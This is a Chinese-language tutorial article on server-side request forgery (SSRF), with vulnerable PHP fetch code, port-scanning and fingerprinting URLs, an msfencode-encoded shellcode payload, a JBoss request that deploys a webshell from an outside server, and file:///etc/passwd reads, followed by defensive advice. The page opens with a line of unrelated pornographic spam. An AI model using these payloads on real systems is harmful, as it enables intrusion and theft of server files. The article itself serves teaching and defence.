偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

SSRF攻擊實(shí)例解析

安全 應(yīng)用安全
很多web應(yīng)用都提供了從其他的服務(wù)器上獲取數(shù)據(jù)的功能。使用用戶指定的URL,web應(yīng)用可以獲取圖片,下載文件,讀取文件內(nèi)容等。這個(gè)功能如果被惡意使用,可以利用存在缺陷的web應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器。這種形式的攻擊稱為服務(wù)端請(qǐng)求偽造攻擊(Server-side Request Forgery)。

ssrf攻擊概述

很多web應(yīng)用都提供了從其他的服務(wù)器上獲取數(shù)據(jù)的功能。使用用戶指定的URL,web應(yīng)用可以獲取圖片,下載文件,讀取文件內(nèi)容等。這個(gè)功能如果被惡意使用,可以利用存在缺陷的web應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器。這種形式的攻擊稱為服務(wù)端請(qǐng)求偽造攻擊(Server-side Request Forgery)。

比如下圖顯示的就是提供這種功能的典型應(yīng)用:

SSRF攻擊實(shí)例解析

如果應(yīng)用程序?qū)τ脩籼峁┑腢RL和遠(yuǎn)端服務(wù)器返回的信息沒(méi)有進(jìn)行合適的驗(yàn)證和過(guò)濾,就可能存在這種服務(wù)端請(qǐng)求偽造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被發(fā)現(xiàn)過(guò)這種漏洞。攻擊者利用ssrf可以實(shí)現(xiàn)的攻擊主要有5種:

1.可以對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的banner信息;

2.攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序(比如溢出);

3.對(duì)內(nèi)網(wǎng)web應(yīng)用進(jìn)行指紋識(shí)別,通過(guò)訪問(wèn)默認(rèn)文件實(shí)現(xiàn);

4.攻擊內(nèi)外網(wǎng)的web應(yīng)用,主要是使用get參數(shù)就可以實(shí)現(xiàn)的攻擊(比如struts2,sqli等);

5.利用file協(xié)議讀取本地文件等。

常用的后端實(shí)現(xiàn)

ssrf攻擊可能存在任何語(yǔ)言編寫(xiě)的應(yīng)用,我們通過(guò)一些php實(shí)現(xiàn)的代碼來(lái)作為樣例分析。代碼的大部分來(lái)自于真實(shí)的應(yīng)用源碼。

1,php file_get_contents:

  1. <?php 
  2. if (isset($_POST['url']))  
  3. {  
  4. $content = file_get_contents($_POST['url']);  
  5. $filename ='./images/'.rand().';img1.jpg';  
  6. file_put_contents($filename$content);  
  7. echo $_POST['url'];  
  8. $img = "<img src=\"".$filename."\"/>";  
  9. }  
  10. echo $img;  
  11. ?> 

這段代碼使用file_get_contents函數(shù)從用戶指定的url獲取圖片。然后把它用一個(gè)隨即文件名保存在硬盤(pán)上,并展示給用戶。

2,php fsockopen():

  1. <?php  
  2. function GetFile($host,$port,$link)  
  3. {  
  4. $fp = fsockopen($hostintval($port), $errno$errstr, 30);  
  5. if (!$fp) {  
  6. echo "$errstr (error number $errno) \n";  
  7. else {  
  8. $out = "GET $link HTTP/1.1\r\n";  
  9. $out .= "Host: $host\r\n";  
  10. $out .= "Connection: Close\r\n\r\n";  
  11. $out .= "\r\n";  
  12. fwrite($fp$out);  
  13. $contents='';  
  14. while (!feof($fp)) {  
  15. $contents.= fgets($fp, 1024);  
  16. }  
  17. fclose($fp);  
  18. return $contents;  
  19. }  
  20. ?> 

這段代碼使用fsockopen函數(shù)實(shí)現(xiàn)獲取用戶制定url的數(shù)據(jù)(文件或者h(yuǎn)tml)。這個(gè)函數(shù)會(huì)使用socket跟服務(wù)器建立tcp連接,傳輸原始數(shù)據(jù)。

3,php curl_exec():

  1. <?php  
  2. if (isset($_POST['url'])) 
  3. $link = $_POST['url']; 
  4. $curlobj = curl_init(); 
  5. curl_setopt($curlobj, CURLOPT_POST, 0); 
  6. curl_setopt($curlobj,CURLOPT_URL,$link); 
  7. curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); 
  8. $result=curl_exec($curlobj); 
  9. curl_close($curlobj); 
  10.  
  11. $filename = './curled/'.rand().'.txt'
  12. file_put_contents($filename$result);  
  13. echo $result
  14. ?> 

這是另外一個(gè)很常見(jiàn)的實(shí)現(xiàn)。使用curl獲取數(shù)據(jù)。

攻擊場(chǎng)景

大部分的web服務(wù)器架構(gòu)中,web服務(wù)器自身都可以訪問(wèn)互聯(lián)網(wǎng)和服務(wù)器所在的內(nèi)網(wǎng)。下圖展示了web服務(wù)器的請(qǐng)求可以到達(dá)的地方。

SSRF攻擊實(shí)例解析#p#

端口掃描

大多數(shù)社交網(wǎng)站都提供了通過(guò)用戶指定的url上傳圖片的功能。如果用戶輸入的url是無(wú)效的。大部分的web應(yīng)用都會(huì)返回錯(cuò)誤信息。攻擊者可以輸入一些不常見(jiàn)的但是有效的URI,比如

http://example.com:8080/dir/images/
http://example.com:22/dir/public/image.jpg
http://example.com:3306/dir/images/

然后根據(jù)服務(wù)器的返回信息來(lái)判斷端口是否開(kāi)放。大部分應(yīng)用并不會(huì)去判斷端口,只要是有效的URL,就發(fā)出了請(qǐng)求。而大部分的TCP服務(wù),在建立socket連接的時(shí)候就會(huì)發(fā)送banner信息,banner信息是ascii編碼的,能夠作為原始的html數(shù)據(jù)展示。當(dāng)然,服務(wù)端在處理返回信息的時(shí)候一般不會(huì)直接展示,但是不同的錯(cuò)誤碼,返回信息的長(zhǎng)度以及返回時(shí)間都可以作為依據(jù)來(lái)判斷遠(yuǎn)程服務(wù)器的端口狀態(tài)。

下面一個(gè)實(shí)現(xiàn)就可以用來(lái)做端口掃描:

  1. <?php  
  2. if (isset($_POST['url'])) 
  3. $link = $_POST['url']; 
  4. $filename = './curled/'.rand().'txt'
  5. $curlobj = curl_init($link); 
  6. $fp = fopen($filename,"w"); 
  7. curl_setopt($curlobj, CURLOPT_FILE, $fp); 
  8. curl_setopt($curlobj, CURLOPT_HEADER, 0); 
  9. curl_exec($curlobj); 
  10. curl_close($curlobj); 
  11. fclose($fp); 
  12. $fp = fopen($filename,"r"); 
  13. $result = fread($fpfilesize($filename));  
  14. fclose($fp); 
  15. echo $result
  16. ?> 

讀者可以使用如下表單提交測(cè)試(比較簡(jiǎn)陋~~):

  1. <html><body> 
  2. <form name="px" method="post" action="http://127.0.0.1/ss.php"> 
  3. <input type="text" name="url" value=""> 
  4. <input type="submit" name="commit" value="submit"> 
  5. </form> 
  6. <script> 
  7. </script> 
  8. </body></html> 

正常情況下,請(qǐng)求http://www.twitter.com/robots.txt 返回結(jié)果如下:

SSRF攻擊實(shí)例解析

如果請(qǐng)求非http服務(wù)的端口,比如:http://scanme.nmap.org:22/test.txt 會(huì)返回banner信息

SSRF攻擊實(shí)例解析

請(qǐng)求關(guān)閉的端口會(huì)報(bào)錯(cuò):http://scanme.nmap.org:25/test.txt

SSRF攻擊實(shí)例解析

請(qǐng)求本地的mysql端口:http://127.0.0.1:3306/test.txt

SSRF攻擊實(shí)例解析

當(dāng)然大多數(shù)互聯(lián)網(wǎng)的應(yīng)用并不會(huì)直接返回banner信息。不過(guò)可以通過(guò)前面說(shuō)過(guò)的,處錯(cuò)誤信息,響應(yīng)時(shí)間,響應(yīng)包大小來(lái)判斷。下面是Google的webmaster應(yīng)用中,利用返回信息判斷端口狀態(tài)的案例.該缺陷Google已修復(fù)。

SSRF攻擊實(shí)例解析

SSRF攻擊實(shí)例解析

SSRF攻擊實(shí)例解析#p#

攻擊應(yīng)用程序

內(nèi)網(wǎng)的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通過(guò)ssrf攻擊,可以實(shí)現(xiàn)對(duì)內(nèi)網(wǎng)的訪問(wèn),從而可以攻擊內(nèi)網(wǎng)或者本地機(jī)器,獲得shell等。

下面是用一個(gè)小程序本地來(lái)演示:

請(qǐng)求:http://127.0.0.1:8987/test.txt

SSRF攻擊實(shí)例解析

探測(cè)到8987端口開(kāi)放。

請(qǐng)求:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

SSRF攻擊實(shí)例解析

SSRF攻擊實(shí)例解析

這里是白盒分析,實(shí)戰(zhàn)的時(shí)候當(dāng)然沒(méi)這個(gè)條件只能是利用已知漏洞來(lái)溢出。通過(guò)分析寫(xiě)好exp。因?yàn)閔ttp是基于文本的協(xié)議,所以處理一些不可以打印的unicode字符會(huì)存在問(wèn)題。這里使用msfencode來(lái)進(jìn)行編碼。命令如下:

msfpayload widnows/exec CMD=calc.exe R | msfencode

bufferRegister=ESP -e x86/alpha_mixed

最終payload如下:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhm
YUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl
5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xn
k2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU
8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2
xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOm
KON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA

溢出成功,彈出計(jì)算器。

SSRF攻擊實(shí)例解析

大家也許會(huì)對(duì)http發(fā)送的數(shù)據(jù)是否能被其他服務(wù)器協(xié)議接收存在疑問(wèn)??梢詤⒖伎鐓f(xié)議通信技術(shù)利用.#p#

內(nèi)網(wǎng)web應(yīng)用指紋識(shí)別

識(shí)別內(nèi)網(wǎng)應(yīng)用使用的框架,平臺(tái),模塊以及cms可以為后續(xù)的攻擊提供很多幫助。大多數(shù)web應(yīng)用框架都有一些獨(dú)特的文件和目錄。通過(guò)這些文件可以識(shí)別出應(yīng)用的類型,甚至詳細(xì)的版本。根據(jù)這些信息就可以針對(duì)性的搜集漏洞進(jìn)行攻擊。比如可以通過(guò)訪問(wèn)下列文件來(lái)判斷phpMyAdmin是否安裝:

Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

訪問(wèn) http://10.0.0.1/portName.js 可以判斷是否是Dlink 路由器

SSRF攻擊實(shí)例解析

下面百度的案例來(lái)自于wooyun,已經(jīng)修復(fù)。通過(guò)訪問(wèn)http://10.50.33.43:8080/manager/images/tomcat.gif 識(shí)別出服務(wù)器使用了tomcat。

SSRF攻擊實(shí)例解析

SSRF攻擊實(shí)例解析#p#

攻擊內(nèi)網(wǎng)web應(yīng)用

僅僅通過(guò)get方法可以攻擊的web有很多,比如struts2命令執(zhí)行等。這里提供一個(gè)Jboss的案例,使用一個(gè)get請(qǐng)求即可部署webshell。

SSRF攻擊實(shí)例解析

只需要將網(wǎng)馬放在公網(wǎng)服務(wù)器上,然后發(fā)送這個(gè)請(qǐng)求即可:

&name=jboss.system:service=MainDeployer&methodIndex=17
&arg0=http://our_public_internet_server/utils/cmd.war

通過(guò)加參數(shù)請(qǐng)求網(wǎng)馬執(zhí)行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir

SSRF攻擊實(shí)例解析

實(shí)戰(zhàn)中一般不會(huì)有回顯,類似于盲打只能。

讀取本地文件

上面提到的案例都是基于http請(qǐng)求的。如果我們指定file協(xié)議,也可能讀到服務(wù)器上的文件。如下的請(qǐng)求會(huì)讓?xiě)?yīng)用讀取本地文件:

Request: file:///C:/Windows/win.ini

SSRF攻擊實(shí)例解析

下面是Adobe的一個(gè)案例,已經(jīng)修復(fù)。請(qǐng)求為file:///etc/passwd

SSRF攻擊實(shí)例解析

如何防御

通常有以下5個(gè)思路:

1,過(guò)濾返回信息,驗(yàn)證遠(yuǎn)程服務(wù)器對(duì)請(qǐng)求的響應(yīng)是比較容易的方法。如果web應(yīng)用是去獲取某一種類型的文件。那么在把返回結(jié)果展示給用戶之前先驗(yàn)證返回的信息是否符合標(biāo)準(zhǔn)。

2, 統(tǒng)一錯(cuò)誤信息,避免用戶可以根據(jù)錯(cuò)誤信息來(lái)判斷遠(yuǎn)端服務(wù)器的端口狀態(tài)。

3,限制請(qǐng)求的端口為http常用的端口,比如,80,443,8080,8090。

4,黑名單內(nèi)網(wǎng)ip。避免應(yīng)用被用來(lái)獲取獲取內(nèi)網(wǎng)數(shù)據(jù),攻擊內(nèi)網(wǎng)。

5,禁用不需要的協(xié)議。僅僅允許http和https請(qǐng)求??梢苑乐诡愃朴趂ile:///,gopher://,ftp:// 等引起的問(wèn)題。

參考資料

http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html

http://evilcos.me/?p=2

http://www.wooyun.org

via riyazwalikar.com

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreebuF
相關(guān)推薦

2022-02-16 07:37:36

惡意文檔網(wǎng)絡(luò)釣魚(yú)攻擊

2018-11-02 12:37:53

DDos攻擊信息安全攻擊

2011-05-16 10:50:19

2011-01-26 12:56:24

2010-10-09 11:20:13

2009-07-12 16:50:08

2011-04-13 11:16:10

路由器WCCPWeb

2010-10-08 14:53:17

2014-12-31 09:10:57

2013-04-03 10:34:52

2013-04-01 10:12:39

2025-03-14 06:30:00

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2023-02-23 09:32:13

2014-01-13 09:30:20

2011-06-13 14:56:10

2012-11-27 09:59:46

2010-09-14 16:00:16

2010-06-07 20:19:49

2010-09-14 09:04:54

2010-08-02 09:43:00

Flex應(yīng)用
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)